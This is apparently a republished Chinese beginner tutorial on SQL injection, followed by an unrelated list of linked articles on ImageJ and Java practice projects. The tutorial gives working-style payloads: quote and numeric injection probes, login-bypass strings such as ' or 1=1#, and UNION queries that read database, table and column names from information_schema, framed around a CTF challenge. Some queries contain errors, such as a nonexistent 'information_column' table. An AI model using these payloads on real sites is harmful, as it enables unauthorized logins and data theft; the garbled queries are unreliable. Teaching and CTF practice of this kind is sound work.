Sql注入的入门教程

article/2025/10/12 7:14:23

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入

原理

用户通过构造sql语句来模仿服务器发向服务器的语句,造成错误执行。从而达到自己的目的。

sql注入的步骤

1.发现注入位置。

2.判断注入类型传参方式的:get类型,post类型,cookie类型。

以及根据注入点不同的:数字型注入,单引号注入,双引号注入。

 

首先是单引号双引号注入(单引号为例):

SELECT * FROM `article` where id = ‘[id]’

SELECT * FROM `article` where id = “[id]

 

http://www.xx.com/a.php?id=1’and 1=’1

http://www.xx.com/a.php?id=1’and 1=’2

若第一个payload为查询1,第二个返回值为错误,则存在单双引号注入。

数字型为

SELECT * FROM `article` where id =[id]

http://www.xx.com/a.php?id=1 and 1=1

http://www.xx.com/a.php?id=1 and 1=2

 

比如:

 

已知某网站的sql查询语句如下,并且没有做任何的屏蔽措施。

 

select * from users where username='用户名' and password=md5('密码')

 

此处我们容易想到闭合前端的引号构成注入,当我们输入用户名为’or 1=1#,

 

select * from users where username='or 1=1#' and password=md5('')

 

由于在sql注入中#等同于注释,该语句语句可以等价于

 

select * from users where username='or 1=1#' and password=md5('')

 

该语句由于1=1恒成立,故会返回users中所有的用户。

倘若我们已知用户名而不清楚密码的情况下(假设用户名为admin):

 

select * from users where username='用户名' and password=md5('密码')

 

输入:admin’#

 

select * from users where username='admin’#' and password=md5('密码')

 

等同于

select * from users where username='admin’#' and password=md5('密码')

故会在不用密码的情况成功的登陆admin用户。

 

  1. 获取数据(重要)

Mysql中又三种默认库

information_schema : 保存着关于MySQL服务器所维护的所有其他数据库的信息。(主要)

mysql : 存储数据库的户、权限、设置关键字。

performance_schema : 收集数据库服务器性能 参数。

: MySQL < 5.0 没有信息数据库

 

 

 

 

Information_schema又包括

 

SCHEMATA // 数据库信息表(库名)

TABLES // 数据表信息表(表名)

COLUMNS // 数据列信息表(列名)

 

以ctfshow web2为例

 

查看回显位置

 

admin or 1=1 union select 1,2,3#

查看当前的库名

admin or 1=1 union select 1,database(),3#

 

查看表名

admin or 1=1 union select 1,table_name,3 from information_schema.tables where table_name=web2#          

查看字段名

admin or 1=1 union select 1,column_name,3 from information_column.name where table_name=‘flag’#

 

根据字段查内容

admin or 1=1 union select 1,flag,3 from flag#

 


http://chatgpt.dhexx.cn/article/I9sbZGq9.shtml

相关文章

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计&#xff0c;可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式&#xff0c;尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们&#xff1a;关于这个图像的原始格式是否需要进行设置。通常使用默认的&#xff0c;点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ&#xff0c;一款免费却又极其强大的图像处理软件。百科 但很不幸的是&#xff0c;这款软件对于电脑小白而言&#xff0c;可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉&#xff0c;这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间&#xff0c;笔者有一个项目需求&#xff0c;需要在一张图片上面添加文件&#xff0c;并另存为一张新的图片。刚开始的时候&#xff0c;笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求&#xff0c;而且其license是MIT&#xff0c;不依赖于第三方的可执行程序…

imgageJ开发【Java】

一&#xff0e;ImageJ简介 ImageJ是一款由NIH&#xff08;National Institutes of Health,美国国家卫生研究院&#xff09;发起&#xff0c;可用于Windows,Mac,OSX和Linux等操作系统的图像处理开元软件&#xff0c;ImageJ小巧&#xff0c;只有5MB左右&#xff0c;界面简洁&…

ImageIO类的使用

重点内容 (一) How to read an image from file or URL&#xff1f; 从本地文本读取图片 File sourceimage new File("c:\\mypic.jpg"); Image image ImageIO.read(sourceimage); 从网络上获取图片 URL url new URL("http://www.mkyong.com/image/mypic…

安装Image J 插件

1.下载imageJ&#xff0c;网址&#xff1a;https://imagej.net/Fiji/Downloads 2.解压 3.安装插件 &#xff08;1&#xff09;https://imagej.nih.gov/ij/plugins/index.html这个网址下载你需要的插件。打开toolsets或者tools。 ![在这里插入图片描述](https://img-blog.csd…

ImageJ工具使用简介

ImageJ工具使用简介 在以前的博文中也介绍过看Raw图的方法&#xff0c;自己平常也使用windows上的一些插值工具来看raw图&#xff0c;最近发现了一个宝贝----ImageJ&#xff0c;最让我惊喜的是它可以完美的在Windows以及Ubuntu中使用&#xff0c;避免了我抓取Raw图之后拷贝到w…

JavaSE小项目(小游戏)

JavaSE编写的小游戏 源码下载地址&#xff1a;https://github.com/ygsama/SmallGame 游戏名(难度) 满天星&#xff08;★☆☆☆☆&#xff09; 球球&#xff08;★☆☆☆☆&#xff09; 打字游戏&#xff08;★☆☆☆☆&#xff09; 汤姆猫&#xff08;★★☆☆☆&#x…

JAVA小项目(6)javaSE

1 记帐本 1.1 使用技能点&#xff1a; 分支、循环、String的拼接 1.2 功能和效果 1.3 项目架构 public class Test {public static void main(String[] args) {while(true){System.out.println("-------欢迎使用记账系统--------");System.out.println("1.收…

java项目源码分享——适合新手练手的java项目

源码下载&#xff08;实例一&#xff09;&#xff1a;jsp开发完整的博研图书馆后台管理系统&#xff0c;不使用框架开发的&#xff0c;太完美了 源码下载&#xff08;实例二&#xff09;&#xff1a;javaWeb图书馆管理系统源码mysql版本 源码下载&#xff08;实例三&#xff09…

java小项目 ATM机(简易版)

目录 说明 项目介绍 功能介绍 结构图 各模块代码 登录界面 服务选择界面 存取款界面 修改密码模块 转账模块 总代码 说明 简单做了一个java的ATM机项目、本项目只能作为一个简单的运行程序。因为没有学到数据库&#xff0c;文件等内容&#xff0c;没有存储功能&…

适合新手练习的 java 小项目

适合新手练习的 java 小项目 智能电话本 视频连接在下方↓ 包括源码也在下面 不要问我为什么推荐这个&#xff0c;因为我也只是一个新手&#xff0c;这个项目是纯命令行的&#xff0c; 不需要数据库和网页编程知识&#xff0c;做起来很简单&#xff0c;可以帮助新手巩固基础…

JavaWeb新手小项目以及源码

此项目主要实现的功能有&#xff1a; jsp连接数据库、MD5加密、验证码验证、Ajax、文件的上传与下载、session登录验证等。 先来几张截图&#xff1a; 一、首先写登录页面 login.jsp <% page language"java" import"java.util.*" pageEncoding&qu…

java小项目水果摊

介绍 刚学完java 集合和IO流&#xff0c;想做了一个简单的小项目来练手&#xff0c;于是我就运用一些基础知识做了这个水果摊。水果摊的主要功能有&#xff1a; 进货查看水果列表购买水果查看购物车结账退出 都是一些简单的功能&#xff0c;下面就来展示代码&#xff1b; …

Java个人Web小项目

JavaWeb-HTML实列开发 目录源代码链接部分效果图 目录 #1.用户列表开发 新建一个Maven项目 创建包&#xff1a;com.iflytek 在项目中 在com.iflytek.controller中新建一个类为控制器类&#xff1a;(本网址为/UserController.java) UserController.java package com.iflytek…

Java小项目(一)---超市管理系统

超市管理系统 一、使用技术二、实现功能三、运行效果图3.1 货物清单3.2 增加货物3.3 删除货物3.4 修改货物3.5 退出 四、实现的代码4.1 Good商品货物类4.2 ShoppingSystem超市管理系统测试类 一、使用技术 Java SE 二、实现功能 使用选择结构&#xff0c;循环结构&#xff0…

Java小项目另一个水果摊

文章目录 前言一、包和表截图二、源代码1.JDBC连接Mysql数据管理员界面&#xff1a;增删查改用户界面 &#xff1a;查找水果建立断开连接 2.GUI窗口界面开始选择界面用户购买水果界面管理员登录界面管理员界面 3.水果属性4.main方法 总结拒绝白嫖&#xff0c;给个三连鼓励一下吧…

JavaWeb之综合小项目

案例需求&#xff1a; 使用Java程序操作数据库&#xff0c;并把结果显示在jsp页面上。 &#xff08;这里只做查询操作&#xff0c;增删改操作类似如此&#xff09; 使用工具&#xff1a; maven&#xff0c;idea&#xff0c;tomcat&#xff0c;MySQL数据库。 使用技术&#xff1…